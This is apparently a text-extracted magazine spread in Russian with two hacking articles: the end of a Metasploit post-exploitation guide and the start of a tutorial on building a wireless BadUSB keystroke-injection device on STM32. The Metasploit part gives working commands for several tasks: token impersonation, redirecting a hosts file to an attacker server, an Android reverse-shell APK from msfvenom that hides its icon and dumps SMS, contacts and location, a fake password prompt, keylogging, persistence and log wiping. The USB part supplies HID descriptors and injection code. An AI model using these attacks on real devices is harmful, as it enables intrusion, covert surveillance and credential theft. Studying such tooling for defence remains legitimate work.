Теп  ерь  след  ует  актив  иров  ать  сниф фер  на  опред  еленн  ом  интерфей се  и  ука‐ 
зать  файл,  в  который  мы  будем  собирать  тра фик.  Посл  е  оконч  ания  сбор  а
данн  ых нужн  о будет завер шить проц  есс прос лушиван  ия интерфейс  а.

За пись тра фика
И  не  остав  им  без  вни мания  возм  ожнос ти  кейл  огг  ера.  Коман ды  start,  dump
и stop анал  огичн  ы уже рас смот ренным выше.

Зап  ись нажатия клав  иш
Обеспечение доступа
Для обесп  ечения дост  упа в Metasploit пре дусм  отре но мно жест  во кру тых инс‐ 
тру мент  ов.  Начн  ем  с  токенов  дост  упа,  которые  поз воляю  т  нам  выдать  себя
за  дру гих  польз  овател  ей.  Для  начала  загр  узим  модуль  incognito  и  пос‐ 
мотрим, какие токены есть в сист  еме.

> load incognito 
> list_tokens ‐u

Заг рузка модуля incognito
Су дя  по  резуль татам  обраб  от ки  команд  ы,  мы  можем  вой ти  в  конт  екст  поль‐ 
зовател  я MediaAdmin$. Давай сдел  аем это.

impersonate_token DOMAIN\\MediaAdmin$

За пись нажатия клав  иш
И вот мы уже работа ем от его име ни! Выпол нение  м прогр  амм на C# в памяти
уже  никого  не  удив  ить,  поэто му  скаж  у  лишь,  что  это  делае  тся  с  помощью
post/windows/manage/execute_dotnet_assembly.

Есл  и  мы  заметим,  что  польз  ователь  час то  обращ  ает ся  к  какому‐то  сай ту
по домен ному име ни, мы можем сде лать копию стра ницы авто риза ции это го
сайт  а и под менить его адрес в фай ле hosts.

run hostsedit ‐e 192.168.6.1,www.microsoft.com 

Так  им  обра зом  польз  ователь  при  обра щении  к  www.microsoft.com  будет
попадать  на  наш  серв  ер.  При  необ ходимост  и  можн  о  быст  ро  уста новить
на  хост  Python  или  SSH‐серв  ер,  для  чего  нам  понадоб  ят ся  след  ующие
модули:  post/windows/manage/install_python  и  post/windows/manage/
install_ssh.

Быст  рая устан  ов ка Python и SSH на целевой хост
Так же как и в Empire, мы можем вклю чить RDP и изме нить нас тройк  и фай рво‐ 
ла с помощью модуля post/windows/manage/enable_rdp.

Вклю чение RDP на целевом хост  е
Не  секр  ет,  что,  если  в  момент  ата ки  компью  тер  будет  перезаг ружен,  мы
потеря ем  текущую  сесс  ию,  поэто му  важ но  на  всяк  ий  слу чай  закр  епить ся
в  сист  еме.  Тут  все  прос то:  можн  о  исполь зовать  любой  метод,  который  тебе
по нрав  у (мы юзае  м опцию ‐S).

Мо дуль сох ранения дост  упа

Зак репле ние в сис теме
Нап  осл  едок нуж но зачис тить след  ы. Наша коман да исполь зует для это го воз‐ 
можнос ти модуля clearev.

Очист  ка логов в журн  алах событий и безопас ности
Вот так и про ходят атак  и на Windows‐машины.

→Продолжение статьи

ВЗЛОМ ←  НАЧАЛО СТАТЬИ

ПУТЕВОДИТЕЛЬ ПО
METASPLOIT

РАЗБИРАЕМ ПРИМЕРЫ ИСПОЛЬЗОВАНИЯ
ЗНАМЕНИТОГО ФРЕЙМВОРКА

macOS
Техн  ология атак на компью  те ры под управле нием macOS уже под робно рас‐ 
смат ривалась в статье, посв  ященн  ой фрей мворк  у Empire. Поэто му не ста нем
остан  авл  ивать ся на теории и сраз  у перейд  ем к прак тике. Нам нужн  о соз дать
наг рузку в форм  ате macho и запуст  ить для нее лис тенер.

Ген  ерир  уем наг рузку в форм  ате macho

Соз дание лис тенера для сген  ери рован ной нагр  узки
Посл  е выпол нения полез ной наг рузки сраз  у пров  ерим верс  ию опе раци онной
сист  емы.

Подк  лю чение агент  а и пров  ер ка верс  ии опе рацио  нной сис темы

Теп  ерь,  когд  а  мы  зна ем,  с  чем  име ем  дело,  нам  нуж но  перечисл  ить  важ ные
файл  ы.  В  этом  нам  поможет  модуль  enum_osx,  который  запишет  в  журн  ал
собр  анную информац  ию.

run post/osx/gather/enum_osx 

Собр  анная enum_osx информац  ия
Когд  а  име ешь  дело  с  маками,  прих  одит ся  по  макс  имуму  использ  овать  при‐ 
емы соци альн  ой инжен  ерии. Напр  имер, с помощью password_prompt_spoof
мы можем показать поль зовате лю вот такое окошк  о.

Ок но запр  оса пароля
Можн  о скольк  о угодн  о нажимать Cancel: это соверш  енно бес полезн  о, потому
что окно будет открыв  ать ся заново, пока юзер не вве дет пароль.

run osx/gather/password_prompt_spoof 

По луче ние пароля поль зовате ля с помощью модуля
password_prompt_spoof
За работу кейл  огг  ера отвеч  ает модуль osx/capture/keylog_recorder, а за
получен  ие хешей — osx/gather/hashdump. Набл  юдать за работой этих инс‐ 
трум  ент  ов удоб нее все го с помощью команд  ы screenshare.

За пись экра на поль зовател  я
Linux
Схем  а атак  и на машины под управлен  ием ОС Linux в целом такая же, как при
работе с Windows и macOS. Снач  ала сге нери руем наг рузку, а затем запуст  им
лис тенер и пос мотрим информа цию о сист  еме.

Ген  ерац  ия нагр  узки

Соз дание лис тенера для сген  ерир  ован ной наг рузки

Под клю чение аген та и про верк  а вер сии опе рацио  нной сист  емы
Поск  ольк  у раз ведка обыч но пров  одит ся с помощью скрип тов вро де LinPEAS,
то  Metasploit  оставляе  т  нам  не  так  уж  мно го  возм  ожност  ей.  Тем  не  менее
один  модуль  запус кает ся  всегд  а  —  local_exploit_suggester.  С  его
помощью мы можем прос мотреть экс плои  ты для повыше ния прив  иле гий.

Пе речис ление возм  ожных эксп  лои  тов
Еще один легк  ий, но при ятный модуль уже для сох ранения дос тупа — linux/
manage/sshkey_persistence.  Этот  модуль  запишет  свой  SSH‐ключ,  бла‐ 
года ря  чему  мы  смо жем  в  любой  момент  восс  та новить  утра чен ный  дост  уп
к  сист  еме.  Сле дует  отме тить,  что  скрипт  ы  перечис ления  не  про веря ют  про‐ 
фили бра узе ров, мы это дела ем с помощью firefox_creds.

Про фили Firefox
И  пос ледний  полезн  ый  модуль  —  linux/manage/iptables_removal.  С  его
помощью очень, очень удобн  о удал  ять прав  ила файр  во ла.

Уда ление пра вил iptables
Android
С  девайс  а  под  управле нием  Android  можн  о  вытащить  мно го  интер  ес ной
информа ции. Эта обширная тема тянет на отдельн  ую замет ку, поэто му здесь
мы разб  ерем нес кольк  о прик  оль ных фишек, которые пред  ост  авляе  т для дан‐ 
ной  плат формы  meterpreter.  Давай  соберем  наг рузку  для  Android  с  помощью
msfvenom.

msfvenom ‐p android/meterpreter/reverse_tcp LHOST=192.168.43.116 
LPORT=4321 ‐o 1.apk 

Созд  ание meterpreter‐наг рузки для Android
Те перь акти виру ем лист  енер.

handler ‐p android/meterpreter/reverse_tcp ‐H 192.168.43.116 ‐P 4321 

Ак тивация лис тенера
Зат  ем  любым  удобн  ым  спос  обом  дост  авим  созд  анный  нами  .apk‐файл
на  целевое  устрой ство  и  выпол ним  его.  Прил  ожен  ие  запус тится  в  фоновом
режиме, и поль зователь не заметит ничего подоз рительн  ого.

Подк  лю чение агент  а и пров  ер ка сист  емы
Пер вым делом скро ем зна чок свое  го при ложен  ия команд  ой hide_app_icon,
что бы  оно  не  отоб ражалось  в  меню  польз  овател  я.  Такж  е  сраз  у  полез но
узнать, рутован ли смар тфон, — для этог  о использ  ует ся тул за check_root.

Про верк  а смарт  фо на на наличие root‐прив  илег  ий
Исп  ольз  уемый  нами  инс трум  ен тарий  поз воля ет  устан  ав ливать,  удал  ять,
прос матри вать  устан  ов ленные  прогр  аммы  и  запус кать  прил  оже ния.  Нап‐ 
ример, я поудал  ял на смарт  фо не все прогр  аммы от прои  звод  ител  я. Сдел  ать
это мож но с помощью след  ующих команд:
• app_list
• app_install
• app_uninstall
• app_run

Ре зуль тат коман ды app_list
Так же  мы  можем  получить  все  кон такты,  спис  ок  вызовов  и  SMS  благ  одар  я
модулям  dump_contacts,  dump_calllog,  dump_sms.  Но  самая  кру тая  фиш‐ 
ка  —  сле дить  за  перемещ  ени ем  польз  овате ля  смар тфон  а  при  помощи
модуля geolocate.

По луче ние коор динат смар тфон  а

Опр  еделен  ие мес тополож  ения на кар тах Google
ЗАКЛЮЧЕНИЕ
Как видишь, Metasploit нам ного более унив  ер саль ный, чем дру гие фрей мвор‐ 
ки, поэто му сравн  ивать его с конк  урен тами очень неп росто. Это один из инс‐ 
трум  ент  ов,  о  воз можност  ях  которых  нужн  о  как  минимум  знать.  Наде юсь,  эта
статья помог ла тебе в их освое  нии.

WWW

Боль ше  информац  ии  —  в  моем  канале  в  «Телег‐ 
раме»  @RalfHackerChannel.  Здесь  ты  можешь
задать  интер  есу ющие  тебя  воп росы  или  помочь
друг  им.

ВЗЛОМ

УТИНЫЕ
ИСТОРИИ

ДЕЛАЕМ СВОЙ АНАЛОГ
RUBBER DUCKY

С БЕСПРОВОДНОЙ СВЯЗЬЮ

Есть  такой  вект  ор  атак,  как  BadUSB,  —  его Candidum
суть  зак люча ется  в  эму ляции  работы  кла‐  [email protected]
виатур  ы  и  выполн  ении  опе раций  на  компь‐ 
юте ре  под  видом  обычн  ого  ввод  а  от  поль‐ 
зовател  я.  Клав  иатур  а  чаще  все го
не  вызыва ет  подозр  ений  у  ОС  и  анти виру‐ 
са,  поэто му  такие  ата ки  сложн  о  отсле дить.
Сегод ня  мы  пос мотрим,  как  соз дать  свой
девайс  это го  класс  а  —  в  корп  усе  флеш ки
и с бесп  ров  од ной связью.

Как  ты  понима ешь,  за  годы  сущес твов  ания  проб лемы  спо собов  реали зации
прид  ума но уже дост  аточ но мно го. Это может быть как класс  ичес кий, хорошо
всем  извес тный  Rubber  Ducky,  так  и  весьм  а  экзо тичес кий  вари ант  с  переп‐ 
рошив кой  флеш ки  с  подх  одящим  кон трол лером.  Такж  е  народ  при думал
некото рое количест  во реа  лиз  аций на Arduino и совм  естим  ом Digispark.

Кро ме  того,  однознач но  сто ит  упо мянуть  и  о  Pill Duck,  так  как  сво ей  кон‐ 
цепцие  й  именн  о  этот  прое  кт  наибо лее  близ  ок  к  тому,  что  я  покажу  в  статье.
У Pill Duck есть хорошее и под робное опис  ание, так что вся чес ки рекомен дую
тебе  озна комитьс  я  с  ним,  если  ты  наст  ро ен  в  деталях  разобр  атьс  я  в  проб‐ 
леме.

Сра зу  ска жу,  что  я  не  став  ил  перед  собой  цель  прев зойт  и  упом  яну тые
устройс  тва.  Ско рее  это  мой  личн  ый  экспер  имент  на  тему  дис танцио  нног  о
пуль та управле ния для компью  тер  а, так что оцен  ивать его сто ит в пер вую оче‐ 
редь имен но с такой точк  и зрен  ия.

USB HID
USB (Universal Serial Bus), как ясно из назв  ания, предс  тав ляет собой уни вер‐ 
сальн  ую  пос ледоват  ель ную  шину,  которая  де‐факт  о  явля ется  станд  артом
в наст  оящее врем  я (верн  ее, даже целым семейс  твом стан дартов). Она прак‐ 
тическ  и  пол ностью  замени ла  собой  RS‐232,  LPT,  PS/2  и  исполь зует ся  пре‐ 
имущ  ест  вен но для свя зи ПК с перифер  ий ными устройс  твам  и.

INFO

Сле дует  заметить,  что  рабочие  мес та  для  наибо‐ 
лее ответст  вен ных задач до сих пор осна щаютс  я
средст  вам  и ввод  а с интерфейс  ами PS/2. Это как
раз  связ  ано  с  пробл  емой  обесп  ечения  безопас‐ 
ности  подобн  ых  сис тем.  Так  что  отправл  ять ся
на  штурм  какой‐нибудь  условной  АЭС  со  свое  й
Rubber Ducky на USB — занятие не тольк  о глу пое,
но и заранее обре чен ное на про вал.

Одн  ако  из  основных  дос тоинств  про токол  а  USB  вытекаю  т  и  его  недос татки.
В  пер вую  оче редь  это  слож ная  проц  едур  а  обме на  информа цией  меж ду
девай сами,  осо бенн  о  в  началь ный  момент.  При чина  пробл  емы  зак люча ется
в  исполь зованн  ой  конц  епции  Plug’n’play,  которая  подр  азумев  ает,  что
перифе рия  при  подк  лю чении  сра зу  же  ини циализ  иру ется.  Ведомое  устрой‐ 
ство переда ет хос ту информа цию о себе, что поз воляе  т сист  еме подг  руз  ить
нужн  ый драйв  ер и прис тупить к работе.

С  точ ки  зрен  ия  конеч ного  польз  овате ля,  безусл  овно,  это  очень  кру то,
однак  о  как  раз  из‐за  унив  ерс  аль ност  и  спец  ифи кации  USB  сос тавля ют  нес‐ 
кольк  о  мно гост  ран  ич ных  томов.  К  счастью,  наша  задача  —  эмул  яция  кла‐ 
виату ры  и  мыши  —  дос таточ но  прост  ая  и  расп  ростра нен ная,  что  нес кольк  о
облегчае  т жизнь.

Итак, инте ресу ющие нас устройс  тва относ  ят ся к класс  у HID  (Human  Inter‐
face Device), и если мы сооб щим хост  у, что его новая перифер  ия — это стан‐ 
дарт  ная  клав  иатур  а,  то  уста нов ка  спе циальн  ых  драйв  еров  не  пот ребу ется
и будут исполь зованы станд  ар тные. В интерне те есть непл  охие статьи о кас‐ 
томном HID‐устройс  тве, но это не сов сем наш слу чай.

Те бе нуж но запом нить сле дующее: обмен дан ными в прот  око ле USB всег‐ 
да  иниц  иирует ся  хос том  и  прои  сход  ит  пакета ми.  Их  раз мер  опис  ан  в  дес‐ 
крип торах  девайс  а,  которые  хост  обя зательн  о  зап рашива ет  во  врем  я  ини‐ 
циали зации.

ПРОШИВКА МК
Са мый прост  ой на сегодн  я спос  об собр  ать собст  вен ное устрой ство с USB —
взять  подх  одящий  микр  окон трол лер  и  написать  для  него  нуж ную  прош  ивк  у.
Теоре тическ  и нам подойд  ет едва ли не любой МК, ведь USB тоже можн  о эму‐ 
лиро вать  средст  вам  и  GPIO  и  нужн  ыми  биб лиотек  ами  (эму лиров  ать  USB
для  эмул  яции  HID  и  «поль зовательс  ког  о  ввод  а»  —  в  этом  опред  еленн  о  есть
что‐то  безумн  о  заман чивое).  Одна ко  разум нее,  конеч но  же,  выбр  ать  мик‐ 
рокон трол лер с необ ходимой нам перифер  ией.

На ибо лее  извес тная  в  мире  плат  а  Arduino  с  такой  фун кци ональн  остью  —
Leonardo на ATmega32u4. Этот МК уже содерж  ит в свое  м сост  аве аппа рат ный
блок USB, а Arduino IDE предл  агае  т на выбор неск  оль ко скет чей и библ  иотек
(для мыши и клав  иату ры). Такж  е подойд  ет и более мощ ная верс  ия на ARM —
Arduino  Due.  Но  личн  о  мне  бли же  мик роконт  рол леры  STM32,  тем  более  что
некото рый  опыт  работы  с  ними  уже  имее  тся.  Поэто му  в  осно ву  про екта  лег
STM32F103C8T6. Очень удобн  о, что эта мик росхе ма дост  упна в сост  аве отла‐ 
доч ной пла ты Blue Pill, которая облегча ет про тоти пиро вание устройс  тва.

Дескрипторы
Для стар та возьм  ем за основ  у один из прим  еров libopencm3, в котором эму‐ 
лируе  тся дви жение мыши. Наибольш  ий интер  ес для нас пред став ляет имен‐ 
но деск  рипт  ор, вот как он выгл  ядит:

const struct usb_device_descriptor dev_descr = {  
   // Дескриптор устройства
   .bLength = USB_DT_DEVICE_SIZE,
   .bDescriptorType = USB_DT_DEVICE,
   .bcdUSB = 0x0200,
   .bDeviceClass = 0,
   .bDeviceSubClass = 0,
   .bDeviceProtocol = 0,
   .bMaxPacketSize0 = 64,
   .idVendor = 0x0483,     // VID
   .idProduct = 0x5710,    // PID
   .bcdDevice = 0x0200,
   .iManufacturer = 1,    // Номера строк в usb_strings[],
   .iProduct = 2,         // начиная с первой (!), а не
   .iSerialNumber = 3,    // с нулевой, как можно было бы ожидать
   .bNumConfigurations = 1,

};

static const uint8_t hid_report_descriptor[] = {
   0x05, 0x01, /* USAGE_PAGE (Generic Desktop)         */
   0x09, 0x02, /* USAGE (Mouse)                        */
   0xa1, 0x01, /* COLLECTION (Application)             */
   0x09, 0x01, /*   USAGE (Pointer)                    */
   0xa1, 0x00, /*   COLLECTION (Physical)              */
   0x05, 0x09, /*     USAGE_PAGE (Button)              */
   0x19, 0x01, /*     USAGE_MINIMUM (Button 1)         */
   0x29, 0x03, /*     USAGE_MAXIMUM (Button 3)         */
   0x15, 0x00, /*     LOGICAL_MINIMUM (0)              */
   0x25, 0x01, /*     LOGICAL_MAXIMUM (1)              */
   0x95, 0x03, /*     REPORT_COUNT (3)                 */
   0x75, 0x01, /*     REPORT_SIZE (1)                  */
   0x81, 0x02, /*     INPUT (Data,Var,Abs)             */
   0x95, 0x01, /*     REPORT_COUNT (1)                 */
   0x75, 0x05, /*     REPORT_SIZE (5)                  */
   0x81, 0x01, /*     INPUT (Cnst,Ary,Abs)             */
   0x05, 0x01, /*     USAGE_PAGE (Generic Desktop)     */
   0x09, 0x30, /*     USAGE (X)                        */
   0x09, 0x31, /*     USAGE (Y)                        */
   0x09, 0x38, /*     USAGE (Wheel)                    */
   0x15, 0x81, /*     LOGICAL_MINIMUM (‐127)           */
   0x25, 0x7f, /*     LOGICAL_MAXIMUM (127)            */
   0x75, 0x08, /*     REPORT_SIZE (8)                  */
   0x95, 0x03, /*     REPORT_COUNT (3)                 */
   0x81, 0x06, /*     INPUT (Data,Var,Rel)             */
   0xc0,       /*   END_COLLECTION                     */
   0x09, 0x3c, /*   USAGE (Motion Wakeup)              */
   0x05, 0xff, /*   USAGE_PAGE (Vendor Defined Page 1) */
   0x09, 0x01, /*   USAGE (Vendor Usage 1)             */
   0x15, 0x00, /*   LOGICAL_MINIMUM (0)                */
   0x25, 0x01, /*   LOGICAL_MAXIMUM (1)                */
   0x75, 0x01, /*   REPORT_SIZE (1)                    */
   0x95, 0x02, /*   REPORT_COUNT (2)                   */
   0xb1, 0x22, /*   FEATURE (Data,Var,Abs,NPrf)        */
   0x75, 0x06, /*   REPORT_SIZE (6)                    */
   0x95, 0x01, /*   REPORT_COUNT (1)                   */
   0xb1, 0x01, /*   FEATURE (Cnst,Ary,Abs)             */
   0xc0        /* END_COLLECTION                       */

};

static const struct {
   struct usb_hid_descriptor hid_descriptor;
   struct {
       uint8_t bReportDescriptorType;
       uint16_t wDescriptorLength;
   } __attribute__((packed)) hid_report;

} __attribute__((packed)) hid_function = {
   .hid_descriptor = {
       .bLength = sizeof(hid_function),
       .bDescriptorType = USB_DT_HID,
       .bcdHID = 0x0100,
       .bCountryCode = 0,
       .bNumDescriptors = 1,
   },
   .hid_report = {
       .bReportDescriptorType = USB_DT_REPORT,
       .wDescriptorLength = sizeof(hid_report_descriptor),
   }

};

Добр  ая  полови на  этих  парамет ров  станд  арт  на  для  мно гих  сов мести мых
устрой ств, так что можешь даже не забивать ими голову. Нас же здесь боль‐ 
ше  все го  интер  есу ют  парамет ры  PID  (Product  ID)  и  VID  (Vendor  ID).  Изме нив
их,  мож но  прит воритьс  я  прак тичес ки  любым  устрой ством  любого  про изво‐ 
дите ля  (прав да,  есть  сом нения  в  пра вовом  стат  усе  такого  прит ворст  ва,  так
что подумай дважд  ы).

const struct usb_endpoint_descriptor hid_endpoint = {
   // Дескриптор конечной точки
   .bLength = USB_DT_ENDPOINT_SIZE,
   .bDescriptorType = USB_DT_ENDPOINT,
   .bEndpointAddress = 0x81,    // Адрес конечной точки IN
   .bmAttributes = USB_ENDPOINT_ATTR_INTERRUPT,
   .wMaxPacketSize = 4,    // Максимальная длина пакета
   .bInterval = 0x02,    // Интервал опроса в миллисекундах

};

const struct usb_interface_descriptor hid_iface = {
   .bLength = USB_DT_INTERFACE_SIZE,
   .bDescriptorType = USB_DT_INTERFACE,
   .bInterfaceNumber = 0,
   .bAlternateSetting = 0,
   .bNumEndpoints = 1,
   .bInterfaceClass = USB_CLASS_HID,
   .bInterfaceSubClass = 1, /* boot */      
   .bInterfaceProtocol = 2,  /* mouse */
   .iInterface = 0,
   .endpoint = &hid_endpoint,
   .extra = &hid_function,
   .extralen = sizeof(hid_function),

};

В дес крипт  оре конечн  ой точк  и нас интер  есую  т:
• ее адрес .bEndpointAddress = 0x81;
• мак симальн  ая дли на пакета .wMaxPacketSize = 4;
• инт  ервал опро са .bInterval = 0x02.

Ад рес  конечн  ой  точк  и  для  нашей  цели  не  име ет  принц  ипи альн  ого  знач  ения,
его мож но не тро гать. Что же каса ется мак симальн  ого раз мера пакета, то он
обяз  атель но  дол жен  соот ветс твов  ать  струк туре  отчет  а,  опи сан ной  в 
hid_report_descriptor[]. В дан ном случ  ае это четыре бай та.

const struct usb_interface ifaces[] = {{
       .num_altsetting = 1,
       .altsetting = &hid_iface,
   }

};

const struct usb_config_descriptor config = {
   .bLength = USB_DT_CONFIGURATION_SIZE,
   .bDescriptorType = USB_DT_CONFIGURATION,
   .wTotalLength = 0,
   .bNumInterfaces = 1,
   .bConfigurationValue = 1,
   .iConfiguration = 0,
   .bmAttributes = 0xC0,
   .bMaxPower = 0x32,
   .interface = ifaces,

};

static const char *usb_strings[] = {
   // Строки, отображаемые в описании устройства
   "Black Sphere Technologies",
   "HID Demo",
   "DEMO",

};

За вер шают  опред  елен  ия  стро ки  usb_strings[],  которые  ты  тоже  можешь
про писать по сво ему вку су (и чувст  ву юмо ра).

Рас смот рим  теперь  под робнее  дес крипт  ор  отчет  а.  Ответ  станд  арт  ной
мыши  на  зап рос  от  хос та  сос тоит  из  четырех  байт.  Перв  ый  переда ет  сос‐ 
тояние кно пок (млад шие три бита — прав  ая, левая и сред няя кноп ки, старш  ие
пять  бит  не  задейс  тво ваны).  А  оставшие  ся  три  бай та  отвеч  ают  за  переме‐ 
щение  по  осям  X,  Y  и  вра щение  колеси ка.  Эти  байт  ы  пред ставл  яют  собой
целое  числ  о  со  зна ком  (диапаз  он  от  –127  до  127).  Его  зна чения  при  этом
соот ветст  ву ют един  ич ному относ  итель ному переме щению ука зател  я.

Хо рошо,  с  мышью  нем ного  разобр  ались,  а  что  нас чет  клав  иату ры?
На самом деле поч ти все ана логич но. Одна ко теперь отчет длин нее и сос тоит
из  вось ми  байт.  Биты  перв  ого  бай та  отвеч  ают  за  клав  иши‐модифик  ато ры:
RIGHT_GUI,  RIGHT_ALT,  RIGHT_SHIFT,  RIGHT_CTRL,  LEFT_GUI,  LEFT_ALT,
LEFT_SHIFT, LEFT_CTRL. Сле дующий байт зарезер вирован для совм  ести мос‐ 
ти,  в  принц  ипе  его  можн  о  выкинуть.  Даль ше  идут  шесть  байт,  кажд  ый
из  которых  отвеч  ает  одной  нажатой  кла више:  такой  муль титач  на  шесть
касаний,  не  счи тая  модифик  ато ров.  Дес крип тор  клав  иату ры  выг лядит  сле‐ 
дующим образ  ом:

...
0x05, 0x01,
0x09, 0x06,       // Usage (Keyboard)
0xA1, 0x01,       // Collection (Application)
0x05, 0x07,       // Usage Page (Kbrd/Keypad)
0x19, 0xE0,       // Usage Minimum (0xE0)
0x29, 0xE7,       // Usage Maximum (0xE7)
0x15, 0x00,       // Logical Minimum (0)
0x25, 0x01,       // Logical Maximum (1)
0x75, 0x01,       // Report Size (1)
0x95, 0x08,      // Report Count (8)
0x81, 0x02,      // Input (Data,Var,Abs,No Wrap,Linear,Preferred 
State,No Null)
0x81, 0x01,      // Input (Const,Array,Abs,No Wrap,Linear,Preferred 
State,No Null)
0x19, 0x00,     // Usage Minimum (0x00)
0x29, 0x65,     // Usage Maximum (0x65)
0x15, 0x00,     // Logical Minimum (0)
0x25, 0x65,     // Logical Maximum (101)
0x75, 0x08,     // Report Size (8)
0x95, 0x06,     // Report Count (6)
0x81, 0x00,     // Input (Data,Array,Abs,No Wrap,Linear,Preferred 
State,No Null)
0xC0,                // End Collection


Для  упро щения  работы  с  дес крип торами  USB  есть  хо роший  сайт,  который
поз воляе  т ана лизи ровать и редакт  ировать дес крипт  оры. Кро ме того, сущес‐ 
твуе  т  офиц  иальн  о  рекоменд  уемое  прил  оже ние  USB  HID  Descriptor  tool.  Оно
дос тупно тольк  о в вер сии для Windows, но и в Wine тоже заведет ся.

→Продолжение статьи

ВЗЛОМ ←  НАЧАЛО СТАТЬИ

УТИНЫЕ ИСТОРИИ
ДЕЛАЕМ СВОЙ АНАЛОГ RUBBER DUCKY
С БЕСПРОВОДНОЙ СВЯЗЬЮ

Составное устройство
С устрой ствам  и вво да и их деск  рипт  орами мы разобр  ались. Теперь воз ника‐ 
ет след  ующий воп рос: можн  о ли объ един  ить в одном устрой стве и клав  иату‐ 
ру,  и  мышь?  Тут  нам  на  помощь  при ходит  ма нуал  по  соз данию  сос тавных
устройс  тв.  Дост  аточ но  в  дес крип торы  отчет  ов  для  мыши  и  клав  иатур  ы
добавить  поле  report  id,  и  их  мож но  будет  объе  дин  ить.  Теперь  отве ты
нашей перифер  ии стан  ут длинн  ее на один байт, но хост, читая его знач  ение,
будет знать, от какого устрой ства отчет.

В ито ге наш финаль ный HID‐деск  рип тор выгл  ядит так:

...
0x05, 0x01,
0x09, 0x06,  // Usage (Keyboard)
0xA1, 0x01,  // Collection (Application)
0x85, 0x01,  // Report ID  
0x05, 0x07,  // Usage Page (Kbrd/Keypad)
0x19, 0xE0,  // Usage Minimum (0xE0)
0x29, 0xE7,  // Usage Maximum (0xE7)
0x15, 0x00,  // Logical Minimum (0)
0x25, 0x01,  // Logical Maximum (1)
0x75, 0x01,  // Report Size (1)
0x95, 0x08,  // Report Count (8)
0x81, 0x02,  // Input (Data,Var,Abs,No Wrap,Linear,Preferred State,
No Null)
0x81, 0x01,  // Input (Const,Array,Abs,No Wrap,Linear,Preferred 
State,No Null)
0x19, 0x00,  // Usage Minimum (0x00)
0x29, 0x65,  // Usage Maximum (0x65)
0x15, 0x00,  // Logical Minimum (0)
0x25, 0x65,  // Logical Maximum (101)
0x75, 0x08,  // Report Size (8)
0x95, 0x06,  // Report Count (6)
0x81, 0x00,  // Input (Data,Array,Abs,No Wrap,Linear,Preferred State,
No Null)
0xC0,              // End Collection
0x05, 0x01,  // Usage Page (Generic Desktop)             
0x09, 0x02,  // Usage (Mouse)                            
0xA1, 0x01,  // Collection (Application)                 
0x09, 0x01,  // Usage (Pointer)                         
0xA1, 0x00,  // Collection (Physical)                   
0x85, 0x02,  // Report ID  
0x05, 0x09,  // Usage Page (Buttons)                
0x19, 0x01,  // Usage Minimum (01)                  
0x29, 0x03,  // Usage Maximum (03)                  
0x15, 0x00,  // Logical Minimum (0)                 
0x25, 0x01,  // Logical Maximum (0)                 
0x95, 0x03,  // Report Count (3)                    
0x75, 0x01,  // Report Size (1)                     
0x81, 0x02,  // Input (Data, Variable, Absolute)    
0x95, 0x01,  // Report Count (1)                    
0x75, 0x05,  // Report Size (5)                     
0x81, 0x01,  // Input (Constant)    ;5 bit padding  
0x05, 0x01,  // Usage Page (Generic Desktop)        
0x09, 0x30,  // Usage (X)                           
0x09, 0x31,  // Usage (Y)                           
0x15, 0x81,  // Logical Minimum (‐127)              
0x25, 0x7F,  // Logical Maximum (127)               
0x75, 0x08,  // Report Size (8)                     
0x95, 0x02,  // Report Count (2)                    
0x81, 0x06,  // Input (Data, Variable, Relative)    
0xC0, 0xC0,  // End Collection,End Collection   


Главн  ое — не забыть поп равить мак сималь ную длин  у отчет  а устрой ства, она
теперь равн  а девяти. Сами отче ты ока жут ся след  ующим  и:

Клавиатура 
1 REPORT ID = 1 
2 MOD_KEYS 
3 RESERVED 
4 KEY1 
5 KEY2 
6 KEY3 
7 KEY4 
8 KEY5 
9 KEY6 

Мышь 
1 REPORT ID = 2 
2 KEYS 
3 X 
4 Y 

Ост  алось толь ко иниц  иализ  иров  ать интерфейс. Тут в прим  ере мож но ничего
не менять, на стар те драйв  ер вызыва ет функ  цию hid_set_config, регист  ри‐ 
рующую  конеч ную  точк  у  0x81,  которую  в  даль нейшем  будет  опраш  ивать  наш
хост.  В  ответ  он  получит  указ  анн  ые  выше  отче ты.  Что  же  касае  тся  функ  ции
hid_control_request,  то  она  слу жит  прост  о  заг лушкой  и  в  дан ном  случ  ае
ни на что не вли яет.

Эмулируем клавиатуру
Теп  ерь  раз беремс  я  с  ими тацие  й  нажатия  кла виши.  Для  при мера  возьм  ем
кла вишу a с кодом 0x04. Важн  о обра тить вним  ание, что коды клав  иш, выдава‐ 
емые  клав  иату рой,  —  это  вов се  не  ASCII,  и  о  рас кладк  е  клав  иатур  а  тоже
ничего  не  зна ет,  это  все  прои  схо дит  уров нем  выше.  Так  как  же  выгл  ядит
нажатие  клав  иши  а?  Это  два  пос ледова тельн  ых  отче та  —  пер вый  о  нажатии
клав  иши,  а  вто рой  о  ее  отпускан  ии  (если  забыть  про  то,  что  клав  ишу  надо
отпустить, вый дет кон фуз).

uint8_t pres_a[] = {1, 0, 0, 0x04, 0, 0, 0, 0, 0};
uint8_t rel_a[] = {1, 0, 0, 0, 0, 0, 0, 0, 0};

usbd_ep_write_packet(usbd_dev, 0x81, pres_a, 9);
usbd_ep_write_packet(usbd_dev, 0x81, rel_a, 9);

Единст  вен ное,  о  чем  стои  т  опять  же  помн  ить:  все  транз  акции  иниц  иируют ся
хост  ом  и  в  случ  ае  чего  могут  быть  отлож  ены.  Поэто му  всег да  полезн  о  убе‐ 
дить ся,  что  отчет  ушел.  Сде лать  это  мож но,  анал  изир  уя  знач  ение,  воз вра‐ 
щаемое  usbd_ep_write_packet.  Оста лось  добавить  функ  цию  перевод  а
ASCII  в  keykode,  в  этом  нет  ничего  сложн  ого.  Более  того,  есть  дост  аточ но
при меров  готовой  реализ  ации.  Мне  пон равилась  библ  иотек  а  keycodes  Эду‐ 
арда Емелья  но ва. Ее я и использ  овал с минимальн  ыми правк  ами.

Те перь,  написав  две  несл  ожные  функ  ции,  мы  получа ем  воз можность
набирать стро ки и про жимать горячие клав  иши.

void send_word(char *wrd) {
   do {
       while (9 != usbd_ep_write_packet(usbd_dev, 0x81, press_key(*

wrd), 9));
       while (9 != usbd_ep_write_packet(usbd_dev, 0x81, release_key

(), 9));
   } while (*(++wrd));

}

void send_shortkey(char key,uint8_t mod) {
   while(9 != usbd_ep_write_packet(usbd_dev, 0x81, press_key_mod(key

, mod), 9));
   while(9 != usbd_ep_write_packet(usbd_dev, 0x81, release_key(), 9

));
}

Про верим наш код прост  ым при мером:

send_shortkey('t', MOD_CTRL | MOD_ALT); // Ctrl + Alt + t — открыть 
консоль 
for (uint32_t i = 0; i < 0x2FFFFF; i++) __asm__("nop");
